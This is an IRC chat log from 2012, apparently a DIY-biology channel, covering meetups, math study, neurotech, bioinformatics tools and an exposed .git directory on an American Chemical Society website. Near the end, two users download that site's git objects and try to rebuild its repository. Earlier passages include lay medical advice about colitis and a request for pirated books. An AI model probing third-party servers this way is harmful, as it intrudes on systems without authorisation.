--- Log opened Fri Oct 05 00:00:46 2012
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00:07 < nmz787> hi lichen, I'm moving to portland later this month
00:07 < BioGuy> lichen you in portland?
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00:08 < BioGuy> bkero: only the most awesome youtube video ever!
00:09 < bkero> tall claim
00:10 < BioGuy> well second to this one of course: http://www.youtube.com/watch?v=3GRSbr0EYYU
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00:15 < BioGuy> lichen I threw together a google group the other night to try and connect people in the Portland Metro area https://groups.google.com/forum/?fromgroups#!forum/pdx-diybioscitechthink
00:17 < bkero> Why does that have 7 million views?
00:24 < lichen> oops sorry
00:24 < lichen> helly BioGuy
00:24 < lichen> and nmz787
00:24 < lichen> hello
00:24 < lichen> yeah im in portland
00:25 < lichen> got distracted with videos
00:26 < BioGuy> join the group above. We should all try to figure out a time to meet, maybe have a few beers, introduce ourselves, and talk bio :)
00:26 < lichen> hehe
00:26 < lichen> im pretty unqualified at the moment but networking is nice
00:26 < lichen> im going to PSU and working
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00:27 < BioGuy> What are you going to school for at PSU?
00:27 < lichen> biomedical physics
00:27 < lichen> though i just went back to school two weeks ago after a two year break
00:28 < lichen> was first going for CS but have since decided to go fully towards this career path
00:29 < BioGuy> idk I would consider myself relatively unqualified, I only have a 2 year associates degree in bioscience technology. I would just love to get together and brain storm or just talk about interesting biotech topics with people. I think everyone has something to bring to the table even if its just general interest
00:29 < lichen> ah so youre not too far past me then
00:29 < lichen> i have my two year
00:29 < lichen> most i really do right now is maintain the #biohack channel
00:30 < lichen> keeping track of the grinding community
00:30 < BioGuy> Im sure you know a lot more than I do many areas.
00:30 < lichen> we all have our areas of expertise
00:30 < BioGuy> Now your talkin
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00:32 < lichen> these next few year of school are going to be brutal
00:32 < BioGuy> I think a lot of people kind of exist in these narrow towers of knowledge and it would be great to start connecting these "towers" together. We can all help each other out, learn from each other, teach each other, and have fun
00:32 < lichen> due to the way in which ive done school so far, i am going to have to do double or triple lab science almost every quarter
00:32 < lichen> yes, i agree
00:33 < lichen> one of the reasons i picked this major was that it allows me to branck into a large swath of science
00:33 < BioGuy> Oh your not kidding...after going through my program I felt like I was in grad school or something. LOTS of info in a 9 month period. I'll probably be heading back for my bachelors in Winter or Spring
00:33 < lichen> ive been incredibly busy lately
00:33 < lichen> as i work out in gresham
00:33 < lichen> and go to school
00:34 < lichen> and do freelance web dev
00:34 < BioGuy> When I was in school full time I had MAYBE one day a week where I could be social.
00:34 < lichen> ...i hope my client isnt getting pissy i havent gotten back to him yet :p
00:34 < lichen> yeah same
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00:35 < lichen> saturday this week is going to be drinking and playing magic with a few friends, haha
00:35 < BioGuy> I don't know if you prefer studying alone or with another person. But, I'm taking a stats course right now and could use someone to study with
00:35 < lichen> oh god stats
00:35 < lichen> i slept through most of that a few years ago
00:35 < lichen> crammed the night before the exams
00:35 < lichen> did okay i guess
00:36 < lichen> im taking differential equations right now
00:36 < BioGuy> You ever read a book and realize you just read something but weren't paying attention. I think Im doing that with about every other sentence in this stats book
00:36 < lichen> yeah
00:36 < lichen> totally
00:36 < lichen> statistics is the boring part of math
00:36 < lichen> and i like math, i just dont like memorizing formulas
00:36 < lichen> and thats most of what stats is
00:37 < lichen> im really enjoying diff eq though
00:38 < lichen> last sunday i spent eight hours doing diff eq homework and brushing up on the calculus i needed to do it
00:39 < lichen> after two years its easy to forget integration by parts
00:39 < BioGuy> One thing I know I need a lot more of is mathematics education, which I think is in an incredible tool in any science. But, what I really need to understand is kind of a layout of all the different branches of mathematics and what their applications are.
00:40 < lichen> somehow ive ended up taking all the math i need
00:40 < lichen> before working on anything else really
00:40 < lichen> i can give you a rundown if you want
00:40 < lichen> at least from what ive taken
00:41 < lichen> what have you taken so far?
00:41 < lichen> i presume you know trig and algebra
00:41 < lichen> and youve probably taken some calculus?
00:41 < BioGuy> I went up to calculus in highschool but that was about 10 years ago. I've still used math quite a bit in my life but I don't even want to think about what I've forgotten
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00:42 < lichen> ah
00:42 < lichen> well calculus is going to be very useful (necessary really) for any science or engineering
00:42 < lichen> get as far in it as you can
00:43 < lichen> i took discrete math for the cs degree i was first going for
00:43 < BioGuy> the last trig class I took was in highschool, so I'll probably need to retake it again - but I would think the best applications for trig would be related to physics and dealing with vectors
00:43 < lichen> it mostly focuses on modular math, useful for encryption, useless for most sci/eng
00:43 < lichen> you need a solid understanding of trig
00:44 < lichen> but its really not that hard
00:44 < lichen> just know what your trig functions do
00:44 < lichen> sohcahtoa and all that crap
00:44 < BioGuy> I was reading something about discrete math the other day. I know its generally used in computer science though I'm not 100% sure why
00:44 < lichen> encryption really
00:44 < lichen> thats about it
00:45 < lichen> im sure there are other uses but thats the one that stuck with me
00:45 < nmz787> lichen: what's your degree gonna be in /now/? :P
00:45 < lichen> you can safely skip it if youre not a cs major
00:45 < lichen> biomedical physics
00:45 < nmz787> i love math like people love watching art, but I can
00:46 < BioGuy> Ok - so we got basic algebra, trig, discrete mathematics, idk I would say calculus is useful for anything that involves change
00:46 < lichen> i like math :)
00:46 < nmz787> but I can't study it as little as I'd like for it to stick
00:46 < lichen> calculus is necessary if you want to get into any science
00:46 < nmz787> there's just too much math for me, I could be great at math, but it's just too much. I want to do other shit and be lazy too :D
00:46 < lichen> yeah
00:47 < lichen> its only easy to remember as long as youre in school
00:47 < nmz787> but yeah I took a few calc classes
00:47 < lichen> and then you go back
00:47 < nmz787> didnt take discrete
00:47 < lichen> and youre like
00:47 < lichen> fuck
00:47 < lichen> how to i integrate again?
00:47 < nmz787> but I definitely still know the intuitive sense of the things ive learned
00:47 < lichen> or worse, how do i integrate a multivariable logarithmic function
00:48 < nmz787> you figure that out and we can definitely chat over a beetr
00:48 < nmz787> beer
00:48 < lichen> the most useful thing you learn in school is how to learn
00:48 < BioGuy> So what exactly is linear algebra and how can it be applied?
00:48 < lichen> oh yeah, i got sidetracked
00:48 < BioGuy> no worries
00:49 < lichen> linear is useful in graphics programming. or at least thats why i took it
00:49 < BioGuy> lol you might have to pace yourselves on the beer for that one
00:49 < lichen> it can be summarized i guess in that youre doing math with equations
00:49 < lichen> multiple equations i mean
00:49 < lichen> stack them up into a matrix
00:49 < lichen> and do fancy tricks on it
00:50 < lichen> almost none of it stuck with me
00:50 < lichen> haha
00:50 < lichen> im not a big beer person
00:50 < BioGuy> So is it essentially just general algebra but more advanced? Finding unknowns and modeling basic systems?
00:50 < lichen> id go for something fruity and strong which would just end even worse when trying to explain math haha
00:51 < lichen> i guess? i could probably give a better explanation if i spent a few minutes brushing up to remember what i even did in that class
00:52 < lichen> i just remember every problem involving lots of row reduction
00:52 < lichen> and matrix transformations
00:52 < lichen> and i know how its all useful in graphics manipulation in a CS sense
00:52 < lichen> im just not sure how its useful in sci/eng
00:53 < BioGuy> I think one thing thats missing from every math class is the history part - as in why did people find a need to develop these mathematical tools in the first place and how have they historically been used
00:54 < BioGuy> Something that gives it context
00:54 < lichen> i think its mostly curiosity
00:54 < lichen> and then they find practical applications
00:54 < lichen> im already seeing how extremely useful diff eq is]
00:55 < nmz787> BioGuy: I had to take a history of science class to get math histrory
00:55 < lichen> its like multivariable calculus
00:55 < lichen> your solution is an equation
00:55 < nmz787> a lot of it was by astronomers (or physicists that were astronomers)
00:55 < lichen> so you have a function that is a field, and your solution is a path through that field
00:55 < BioGuy> I've always figured, like Newton, someone needed to find a way to explain or model some natural phenomenon and they developed the mathematical tools to do so
00:56 < BioGuy> nmz787 Thats another thing that bugs the crap out of me. Hardly any scientist out there understands what science actually is in terms of an applied philosophy and the logical principles associated with it.
00:57 < lichen> im going into science because i want to improve and replace the human body
00:57 < lichen> i also have an insatiable curiosity
00:57 < lichen> but yeah, concrete goals that map out what it is i need to learn
00:58 < BioGuy> lichen...so could your field be a field of evolutionary fitness values for a given environment over time?
00:58 < lichen> if i ever exhaust all of that i guess id move on to fundamental physics
00:58 < lichen> sure, thatd have a lot of variables though
01:00 < lichen> problems like that are really fuzzy
01:00 < lichen> one example given in class was determining pollutant content of resevoirs over time
01:00 < lichen> given knowing the leach rate and exit rate
01:00 < lichen> how much is going in and out of the system
01:01 < lichen> plug your initial condition in and you get a very readable curve
01:03 < BioGuy> I wonder if diff equations would be useful for something like all possible folding pathways for a protein with a solution being the path that is most energy efficient
01:04 < lichen> i think the problem youd run into
01:04 < lichen> is that youd find local minima but not know if its the absolute minimum
01:04 < lichen> its not a problem im really familiar with trying to solve though
01:05 < BioGuy> You think it sounds interesting if you have a moment take a look at this http://cnx.org/content/m11467/latest/
01:05 < nmz787>  Biofouling layers as thin as 25 to 50 micrometres (0.00098 to 0.0020 in) can degrade heat exchanger performance by as much as 50%
01:06 < nmz787> http://aem.asm.org/content/51/6/1186.long
01:06 < BioGuy> or here if you only have time for some nifty pictures: http://www.lsbu.ac.uk/water/protein2.html
01:06 < lichen> BioGuy: maybe ill read that when im not quite so tired
01:07 < lichen> yeah that graph looks like something youd get from a diff eq
01:09 < BioGuy> ...and now I know which branch of mathematics I should start working up to :P
01:09 < lichen> its a pretty straight forward path anyways honestly
01:09 < lichen> need to learn calculus
01:09 < lichen> and diff eq
01:10 < lichen> anything else you really need will be dictated by your major
01:10 < lichen> (i mean obviously you need trig and algebra but thats like saying you need english)
01:13 < lichen> speaking of math
01:13 < lichen> i have diff eq tomorrow morning
01:13 < lichen> maybe i should try to get to sleep soon
01:15 < BioGuy> nmz787 I seem to be having some netbook or browser issues or something - what exactly is that article you just posted?
01:16 < BioGuy> lol @ lichen's comments
01:17 < BioGuy> Can either of you guys sum up in two sentences or less exactly what the difference is between molecular biology and biochemistry. ...or maybe to put in another way - is there anything a molecular biologist would know that a biochemist wouldnt?
01:18 < lichen> i dont know. sounds like semantics to me
01:18 < lichen> but im more interested in BCIs than dna manipulationl
01:18 < BioGuy> BCI?
01:19 < lichen> brain-computer interface
01:19 < lichen> im looking more towards the cybernetic and prosthetic side of things
01:20 < BioGuy> My main broad area of interest are brain disorders... but I'm particularly interested in understanding how proteins fold and how we can get to a point where we can design custom proteins for specific functions
01:21 < BioGuy> So what do you think about deep brain stimulation?
01:21 < lichen> it has useful applications
01:21 < lichen> seems a bit brute force tho
01:22 < BioGuy> Ya...I can't help but think of it as almost like overclocking a CPU. It seems like you might get what you want out of it for a time, but you'll probably burn it out faster
01:22 < lichen> id like to see a better understanding of neuroscience developed that allows for more fine-tuned, subtle fixes
01:22 < lichen> more than just jamming an electrode in it
01:23 < lichen> but i really havent done enough reading on DBS
01:23 < BioGuy> I would like to see an implantable device that can actually directly measure neurotransmitter levels in CSF
01:24 < lichen> hah
01:24 < lichen> good luck with that
01:24 < BioGuy> ...or dumping in excess seretonin
01:24 < lichen> eventually, but that is a hard problem
01:24 < lichen> i would like to see it as well
01:24 < lichen> i think far before that will be implants to monitor blood levels for common things
01:25 < lichen> insulin, glucose, iron, o2, pressure, clots, etc
01:26 < BioGuy> I cant stand how we focus on only a few neurotransmitters out of hundreds and what if instead of a brain disorder being a neurotransmitter problem its a receptor problem, or maybe network problem, or vascular problem....
01:26 < lichen> mhmm
01:26 < lichen> i wish i know what the fuck my brain was doing
01:26 < lichen> ive been having inexplicable... surges? zaps?
01:27 < lichen> not really headaches
01:27 < archels> BioGuy: Don't worry, those things are being looked at also.
01:27 < lichen> but i havent read any literature that explains what exactly i experience
01:27 < archels> twitches? :)
01:28 < lichen> closest i saw was in reports of SSRI withdrawal
01:28 < BioGuy> archels if they are you sure don't hear much about them. There's just far too much focus on monamine neurotransmitters
01:28 < lichen> it feels as though parts of my brain are lighting up
01:28 < lichen> surging and being intensely stimulateg
01:28 < lichen> d
01:28 < BioGuy> lichen you on any medication right now?
01:28 < lichen> yes
01:29 < BioGuy> which ones?
01:29 < lichen> no brain drugs though
01:29 < BioGuy> might not matter
01:29 < lichen> id rather not talk what meds i take
01:29 < archels> BioGuy: The unfortunate thing is, of course, we're pretty clueless about what any neurotransmitter--except maybe glutamate--is doing.
01:29 < lichen> about what(
01:29 < lichen> its a symptom that i have seen almost zero literature on
01:30 < BioGuy> the brain zaps, even if their not psychiatric medications - theres lots of medications for other things which affect the brain... beta and alpha blockers for instance
01:30 < lichen> only similar feelings occur when i do psychedelics but even that is a bit different
01:31 < lichen> i am on some drugs that affect blood pressure and for a while i thought they might have played a part in it
01:31 < lichen> or nicotine, perhaps
01:31 < BioGuy> brain zaps are pretty common it seems with benzodiazepine and ssri/snri withdrawal and sometimes use, though there's not much if any literature I can find on it - just people on the interwebs
01:31 < lichen> but the zaps dont occur in any frequency relating to those dosages
01:31 < lichen> i dont take either
01:31 < lichen> no benzos, no ssris
01:32 < BioGuy> Are you in a position where you could go off any of the medications for a few weeks without any serious health consequences, and cycle between the meds like that to see if any particular one is causing it?
01:33 < lichen> no
01:33 < BioGuy> talked to your doc?
01:34 < lichen> ive tried cutting back on nicotine before (no i dont smoke, nicotine just controls the symptoms of a digestive disorder i have)
01:34 < lichen> and that just ended with me having horrible stabbing stomach pains
01:34 < lichen> no health insurance
01:35 < lichen> next quarter i should be taking enough credits at psu to get on their plan
01:35 < lichen> then i guess ill get a ton of tests done
01:35 < BioGuy> You've never been tested for gluten allergies have you?
01:36 < lichen> last time i went to a doctor was about a year and change ago
01:36 < lichen> and these sympoms began around jan-feb
01:36 < lichen> no
01:36 < lichen> ignore my late night typos and spelling omissions
01:37 < lichen> sorry for turning this into ask doctor internet
01:37 < lichen> im aware i need to see a professional but its also not actively hurting
01:37 < lichen> it just feels *weird*
01:37 < lichen> and can be so intense that it is very distracting
01:38 < BioGuy> I just thought of it because your mention of digestive problems - not the brain zaps though - but its really under diagnosed because a lot of times it masquerades as other disorders. You might want to get some food allergy tests. I was having health problems a while back and after seeing several different doctors and a bunch of shoulder shrugs I decided to see a naturopath, had a few tests ordered, and
01:38 < BioGuy> actually figured out a number of things that were wrong and started to be able to get my health back on track
01:38 < lichen> im just not willing to shell out the cash to see a bunch of specialists who may just say "i dont know, but we can try this"
01:38 < lichen> i know what i have
01:39 < lichen> i have ulcerative colitis
01:39 < lichen> my understanding of it is that my immune system is overactive and attacks my own gut
01:40 < lichen> nicotine helps because it promotes extra mucous down there to buffer the damage
01:41 < BioGuy> Ya I would definitely get checked out for gluten allergies...or just go on gluten free diet for at least a month and see if any of your symptoms abate. If your a celiac you produce an immune response to gluten
01:41 < lichen> it wouldnt be a bad idea for me to test for allergens though
01:41 < lichen> i already cut out almost all dairy
01:41 < lichen> one to test if it was an issue and two cows are gross
01:42 < BioGuy> checking if it was caesin?
01:42 < lichen> lactose, caesin, whatever
01:42 < lichen> im just not all that fond of consuming cow excretions
01:43 < BioGuy> Are either your mother or fathers side from northern european descent?
01:43 < lichen> yes
01:43 < lichen> to my knowledge im like english and swiss
01:43 < lichen> though thats a bit hazy
01:43 < BioGuy> Ya I would definitely look into the possibility of you being a celiac for the gut stuff. Do you know if you have any nutritional abnormalities?
01:44 < lichen> nah
01:44 < lichen> i eat a lot of rice and potatoes
01:45 < lichen> some meat but not much
01:45 < lichen> and most of that is fish and poultry
01:45 < BioGuy> Celiac disease seems to be higher in people of northern european descent (think it has something to do with wheat crops being imported to the region not too long ago evelutionarily speaking)
01:46 < lichen> is it so much a disease or a lack of adaptation?
01:46 < BioGuy> I got a gluten free diet book if your interested...it wouldn't hurt to cut out gluten for a month or so to see if thats the cause of your colitis
01:46 < lichen> i mean can you really call it a disease that cats cant digest plants well?
01:46 < lichen> might be worth looking at
01:46 < lichen> what are the big offenders to look out for?
01:47 < BioGuy> Its a disease in the sense that celiacs produce an immune response to gluten which tears apart their intestines and creates high levels of inflammation
01:47 < lichen> my gut has been mostly fine as of late but nicotine also helped considerably
01:47 < lichen> well that sounds like me
01:47 < lichen> and then i got ulcers from the damage
01:47 < lichen> oh and my mother has IBS
01:48 < lichen> i dont even know what that exactly is
01:48 < lichen> or its cause
01:48 < BioGuy> Basically you would have to cut out anything that has wheat (it gets hidden in a lot of things too - like soy sauce, anything that has the word malt in it, dressings, random shit you wouldnt think there should be wheat in)
01:49 < lichen> thats like everything
01:49 < lichen> not as bad as cutting out soy i guess
01:49 < BioGuy> should stay away from oats, barley, spelt, I actually have a list I can give you. ...but it seems like if your going to be gluten free Portland really isnt a bad place to be I've realized
01:50 < lichen> i live like four blocks from a new seasons
01:50 < lichen> they have an entire gluten free aisle
01:50 < lichen> lol
01:50 < BioGuy> They do have gluten free soy sauce though called tamari, and brags amino acids is a really tasty replacement for soy sauce
01:50 < lichen> yeah im sure i can find things
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01:51 < lichen> how long would i have to test this to know?
01:51 < BioGuy> Exactly! I think I found the perfect time to realize I had gluten allergies
01:51 < BioGuy> I think after a month you would probably feel better.
01:51 < lichen> potatoes and rice are okay yeah?
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01:52 < BioGuy> ya
01:52 < lichen> then ill get by
01:52 < lichen> haha
01:52 < BioGuy> brown rice has become one of my staples
01:52 < lichen> i like wild rice and white rice
01:52 < BioGuy> lentils are good too, plus they have lots of protein and are real easy to make
01:52 < lichen> new seasons also has a few really good exotic ones
01:52 < lichen> bhutani rice is amazing
01:53 < lichen> ive got some lentils around
01:53 < lichen> been meaning to cook them
01:53 < BioGuy> The hardest part was not being able to each sandwhiches, but I recently found some decent gluten free bread - most are horrible though
01:53 < lichen> dinner tonight was rice noodles, veggies, and seitan with peanut sauce
01:53 < lichen> does pita bread work?
01:54 < BioGuy> If you want pasta look for the quinoa pasta at new seasons - dont go for any of the brown rice pastas, theyre a pain in the ass
01:54 < lichen> hehe
01:54 < BioGuy> asian rice noodles or european rice noodles?
01:55 < lichen> thai
01:55 < BioGuy> pita bread would get axed
01:55 < lichen> lame
01:55 < BioGuy> I know!
01:55 < BioGuy> I miss pita pit
01:55 < lichen> time to see what food science has alchemized i guess
01:57 < lichen> okay i need to force myself to sleep
01:57 < lichen> need to leave the house by 9:30am
01:57 < lichen> and its 2am now...
01:57 < lichen> who needs sleep anyways right?
01:58 < lichen> this girl apparently
01:58 < lichen> catch you later
01:59 < BioGuy> ah crap...ok get some sleep. Talk to you later.
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02:47 < kanzure> BioGuy: http://diyhpl.us/~bryan/papers2/longevity/
02:54 -!- superkuh [~superkuh@unaffiliated/superkuh] has quit [Read error: No route to host]
02:55 < kanzure> BioGuy: regarding the implants you wish to see.. http://diyhpl.us/~bryan/papers2/neuro/implants/
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03:00 < kanzure> another thermocycler:
03:00 < kanzure> http://www.arduino.si/blog/opencube/
03:00 < kanzure> " It’ll be  a cheap DIY reicarnation of a 16-well thermal cycler"
03:00 -!- marainein__ [~net@2001:388:608c:6cb5:b465:420:8397:9ddf] has quit [Quit: Ex-Chat]
03:01 < kanzure> oh look there's actual posts.. http://www.arduino.si/blog/
03:01 < kanzure> "Today I am going to try to connect a ADS1118 ADC board that I received from Farnell to the Arduino. The main part of the Arduino is the Atmel AVR 328P miocrocontroller that will later become the brain of the PCR. The choice for Arduino (or the AVR328 with the bootloader) is obviouosly because of it’s popularity."
03:05 < BioGuy> KANZURE! This is amazing! I need a better way of cataloging all the resources you and others have pointed me towards over the last couple days
03:05 < kanzure> how about the wiki? http://diyhpl.us/wiki
03:05 < kanzure> http://diyhpl.us/wiki/diybio/faq
03:06 < kanzure> http://diyhpl.us/wiki/diybio/faq/#contributing
03:13 < BioGuy> http://diyhpl.us/wiki/diybio/faq                 |                         | has quit (Ping timeout: 240 seconds)                    |00:07:33 freenode -- | [lichen] zelazny.freenode.net (Corvallis, OR, USA)
03:13 < BioGuy> 03:06:45    kanzure | http://diyhpl.us/wiki/diybio/faq/#contributing   |Day changed to Fri, 05 Oct 2012                                                    |00:07:33 freenode -- | [lichen] End of /WHOIS list.
03:13 < BioGuy> [03:13] [11] [irc/freenode] 11:##hplusroadmap{56}* [Act: 3(16), 2(139>>|[03:13] [11] [irc/freenode] 5:#bioinformatics{43}* [Act: 3(16), 2(139,3), 6(3)]    |[03:13] [11] [irc] 1:server[efnet] [Act: 3(16), 2(139,3), 6(3)]
03:13 < BioGuy> whoops
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03:17 < BioGuy> Is there a link to http://diyhpl.us/~bryan/papers2/neuro/implants/ from the wiki main page? I didn't see it in under the index of pages
03:18 < BioGuy> Kanzure do you control the server that hosts the wiki?
03:23 < BioGuy> If so would it be possible to use python with the wiki?
03:24 < BioGuy> I need to see if I have some time this Sunday to contribute to the wiki
03:28 < BioGuy> Ok I definitely need to set aside some time to comb through this: http://diyhpl.us/~bryan/papers2/neuro/implants/neuro_research_1999_invivo_optical_imaging.pdf
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04:27 < archels> 1999? so old
04:29 < chris_99> heh was that to me
04:29 < archels> hehe, no
04:29 < archels>  < BioGuy> Ok I definitely need to set aside some time to comb through this: http://diyhpl.us/~bryan/papers2/neuro/implants/neuro_research_1999_invivo_optical_imaging.pdf
04:30 < chris_99> ah heh
04:38 < archels> "If, due to hypoventilation or for other reasons, cortical edema develops, [...] and puncturing the cisterna magna (call 1-800-CISTERNA MAGNA)"
04:38 < archels> what.
05:22 < kanzure> BioGuy: yes i control that server and yes it would be possible to do python things
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05:27 < kanzure> "learn bioinformatics through problem solving, like project euler" http://rosalind.info/problems/as-table/
05:33 < kanzure> ruphos (from diybio) seems to be ranked at #77
05:34 < kanzure> BioGuy: the whole point of a wiki is to edit it. if something is missing, add it.
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06:42 < kanzure> jrayhawk: something for you.. http://news.ycombinator.com/item?id=4615602
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06:55 < kanzure> thory: hello
06:55 < kanzure> oh. paragone.
07:23 < kanzure> jrayhawk: hah, github got back to me saying tough luck :)
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08:14 < brownies> kanzure: are these actually good problems? (on rosalind)
08:16 < kanzure> brownies: they are reasonable things you will encounter in bioinformatics, although you should fucking use a library and please don't reinvent the wheel.
08:17 < brownies> but my wheel is unlike all the other wheels out there!
08:17 < kanzure> although the alignment problem is hilariously small: http://rosalind.info/problems/mult/
08:18 < kanzure> look how short the "whole genome" is in this one: http://rosalind.info/problems/pcov/
08:18 < kanzure> it's misleadingly easy to work with small datasets. loading 10 lists of <50 elements is easy. loading a few terabytes is a different story.
08:19 < brownies> presumably the idea is to separate the biology concepts from the data-handling concepts
08:19 < brownies> although... that seems rather contrary to the point of bioinformatics. -_-
08:20 < kanzure> imho there should be a pre-existing function in the biopython project for each of these problems
08:20 < kanzure> i didn't investigate but if they are running your code on their server, i sure hope they let you import the biopython modules..
08:20 < kanzure> otherwise there's going to be a legion of developers not thinking to use that
08:21 < kanzure> "developers"
08:21 < brownies> is the biopython project sufficiently complete and widely used? to the point where it actually *does* have methods for all these things?
08:21 < brownies> kanzure: "code plumbers"
08:22 < kanzure> https://github.com/biopython/biopython
08:22 < kanzure> check out https://github.com/biopython/biopython/tree/master/Bio
08:23 < kanzure> tbh i'm not entirely happy with the project's code quality
08:23 < kanzure> but it exists and it should be improved and used and things.
08:23 < brownies> how come this Mr. Cock gets all the citation juice?
08:23 < brownies> and all the other contributors get screwed?
08:24 < kanzure> eh that's how academic open source projects tend to work.. the original maintainer publishes some paper about it, and then derivative papers cite 'em.
08:25 < brownies> what a crock.
08:25 < kanzure> holy crap there are unit tests. fantastic.
08:25 < kanzure> https://github.com/biopython/biopython/tree/master/Tests
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08:26 < BioGuy> jrayhawk you around?
08:27 < BioGuy> ummm...Kanzure I was just scrolling back through the channel...do you sleep?
08:29 < kanzure> i sleep with one eye open
08:30 < BioGuy> brownies I havent used biopython personally but it looks like its been used at least more than a couple times in primary literature
08:31 < BioGuy> Anyone have any 2 cents on this book http://shop.oreilly.com/product/9780596154516.do
08:31 < kanzure> well it's oreilly, so if you buy it that means you're supporting the evil empire.
08:31 < brownies> oh, i'm sure it's useful. i just have beef with that citation policy.
08:32 < BioGuy> What is it...the dolphin? whales? that sleep always have one half of their brain awake while the other is asleep
08:32 < brownies> imo the first N contributors should get credit, and it should be possible to get yourself a citation credit by contributing more than the Nth contributor
08:32 < kanzure> dolphins learned it from me
08:33 < BioGuy> ROFL kanzure thats almost a Chuck Norris joke
08:34 < kanzure> BioGuy: anyway, i was serious about you editing the wiki- feel free to add files, pages, links, whatever. you're not steppipng on anyone's toes.
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08:39 < BioGuy> Sounds good...I wasn't kidding this Sunday Im going to try and find a good chucnk of time to really did into the wiki and see what useful contributions I can make. It really is an amazing repository of information that I would have no idea about if it werent for all of you. -and it would be an easy first step into an open source project.
08:39 < BioGuy> did=dig
08:50 < BioGuy> I love PLoS http://www.ploscollections.org/article/browseIssue.action?issue=info%3Adoi%2F10.1371%2Fissue.pcol.v03.i02
08:50 < BioGuy> They even have a little tutorial on using Python and BioPython
08:50 < BioGuy> err rather getting started with
08:59 < BioGuy> I'm suprised theres no biopython irc channel
09:00 < kanzure> those folks hang out in #bioinformatics
09:02 < BioGuy> brownies: heres a little project pdf regarding the project status of biopython http://bb10.com/python-bio-devel/2012-04/pdfoMTDXZr950.pdf
09:09 < BioGuy> this looks interesting http://www.amazon.com/gp/product/1584889292?ie=UTF8&tag=genedrift-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=1584889292
09:13 < kanzure> "An ACS lawsuit against Google, claiming that Google Scholar infringed on its SciFinder Scholar, was settled out of court in 2006.[6]"
09:25 < BioGuy> Kanzure I dont suppose you have any access to pdf versions of either Think Complexity or Bioinformatics programming using Python?
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09:52 < jrayhawk> BioGuy: hello
09:58 < brownies> you know, it does have a relatively low amount of stars on github.
09:58 < brownies> there's a #bioinformatics eh?
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10:27 < kanzure> american chemical society is hilarious
10:27 < kanzure> http://www.acswhyi.com/.git/logs/refs/heads/master
10:30 < kanzure> http://www.acswhyi.com/.DS_Store
10:31 < bkero> .DS_Store files?  I LOVE .DS_Store files!
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10:43 < kanzure> uploading your .git: you're doing it wrong
10:44 < nmz787> is vimeo better than youtube?
10:45 < nmz787> youtube wont let me upload an hour long video (it uploaded the 3.8gb /then/ told me it was too long)
10:45 < kanzure> iirc youtube has something you have to click or apply for to upload larger files
10:46 < kanzure> btw, never upload to youtube through the web api
10:46 < kanzure> there's a google/youtube cli that they released many years ago, it works pretty great for uploading large things.
10:47 < kanzure> jrayhawk: how do i get all their commits? i don't have an index of .git/objects/*/ :\
10:48 < kanzure> oh oops i misunderstood the format
10:48 < kanzure> the folder is the first two characters of the hash
10:48  * kanzure turns off his fuzzer
10:51 < nmz787> yeah but i uploaded a stupid 20 second clip of the simpsons months ago and it got taken down by DMCA
10:51 < nmz787> so my account can't upload long movies
10:53 < jrayhawk> http://www.acswhyi.com/.git/refs/heads/master and work your way backwards
10:57 < kanzure> error: Could not read 1d439edbd387121226f46a3fb5e686f173257169
10:57 < kanzure> fatal: Failed to traverse parents of commit 4c992bdff203a5f4a3edccf990ab2e7e79b45fbc
10:57 < kanzure> hrrm
11:01 < jrayhawk> 4c992bdff203a5f4a3edccf990ab2e7e79b45fbc doesn't look like a commit
11:01 < jrayhawk> 992bdff203a5f4a3edccf990ab2e7e79b45fbc: VAX COFF executable not stripped
11:03 < kanzure> "fatal: unable to read tree c0b9189b0133fcecb86028efcae168f803fb7110"
11:03 < nmz787> i just made google/youtube 500 error
11:04 < kanzure> "fatal: unable to read source tree (65f591893ddddf2e34a2d2cb57c054db7bb8ec5a)"
11:04 < kanzure> so i got 65f591893ddddf2e34a2d2cb57c054db7bb8ec5a into .git/objects/65 with http://www.acswhyi.com/.git/objects/65/f591893ddddf2e34a2d2cb57c054db7bb8ec5a
11:04 < kanzure> did i do something wrong?
11:04 < jrayhawk> how are you kicking off the traversal, by the by?
11:04 < kanzure> git show 65f591893ddddf2e34a2d2cb57c054db7bb8ec5a
11:05 < kanzure> "git log" no longer shows errors
11:05 < jrayhawk> i am imagining some dumb thing involving a proxy faking info/refs
11:05 < jrayhawk> but it seems like it should be easier than that
11:06 < kanzure> huh? proxy?
11:06 < jrayhawk> jrayhawk@richardiv:~/src/acswhyi$ git fetch http://www.acswhyi.com/.git/ master
11:06 < jrayhawk> fatal: http://www.acswhyi.com/.git/info/refs not found: did you run git update-server-info on the server?
11:07 < kanzure> it's not a git server obviously, just their .git laying around
11:07 < jrayhawk> 11:04 < jrayhawk> how are you kicking off the traversal, by the by?
11:08 < kanzure> i don't understand enough git internals. i thought you meant "how are you getting these errors?".
11:08 < jrayhawk> i suppose those questions probably have equivalent answers
11:08 < jrayhawk> so either one would do!
11:09 < nmz787> so where can i upload the video of my talk?
11:09 < jrayhawk> gnusha's probably fine
11:09 < nmz787> 3.8gb?
11:09 < kanzure> nmz787: i could upload it to my youtube account if you want, but you'd have to upload it to gnusha first
11:09 < nmz787> what about bandwidth
11:09 < kanzure> gnusha doesn't have 3.8 GB available
11:09 < kanzure> bandwidth is not an issue
11:10 < jrayhawk> i can bump size up again
11:10 < kanzure> oh wait, 34 GB available. i cleaned up yesterday. go ahead.
11:10 < nmz787> I don't understand why my stupid video of the simpsons screwed my account, but you can find 1000s of simpsons videos on youtub
11:11 < kanzure> some of those videos are posted by the content owners
11:11 < nmz787> i even had another youtube account, just made another gmail to associate it with (because I havent used it in 4 years) and it knows that I'm the same person (prob because of same backup email and phone num)
11:12 < kanzure> or because you didn't clear your cookies
11:13 < kanzure> nmz787: on gnusha, type google --help
11:14 < kanzure> try "google contacts list bryan"
11:14 < nmz787> oh well vimeo only gives 500mb for free
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11:16 < kanzure> nmz787: i think i can upload a larger video to youtube. what is the video anyway?
11:16 < nmz787> does my gnusha user have enough space alloted?
11:16 < nmz787> of my genspace talk
11:17 < nmz787> gosh this internet is slow
11:17 < nmz787> 4.5 hrs remaining
11:17 < nmz787> to upload
11:17 < kanzure> it's all shared space.. it's not an allotment issue
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11:18 < kanzure> jrayhawk: what else can i do with this "partially reconstructed" .git repo?
11:18 < kanzure> besides look at commit messages
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11:19 < jrayhawk> well, presumably you can at least partially reconstruct the tree
11:19 < kanzure> "git checkout" has been puking all over the place
11:19 < kanzure> or it checks it out, but "git diff" shows that the current working directory has everything deleted
11:20 < jrayhawk> 11:07 < jrayhawk> 11:04 < jrayhawk> how are you kicking off the traversal, by the by?
11:20 < kanzure> i'm still confused. how do i answer that?
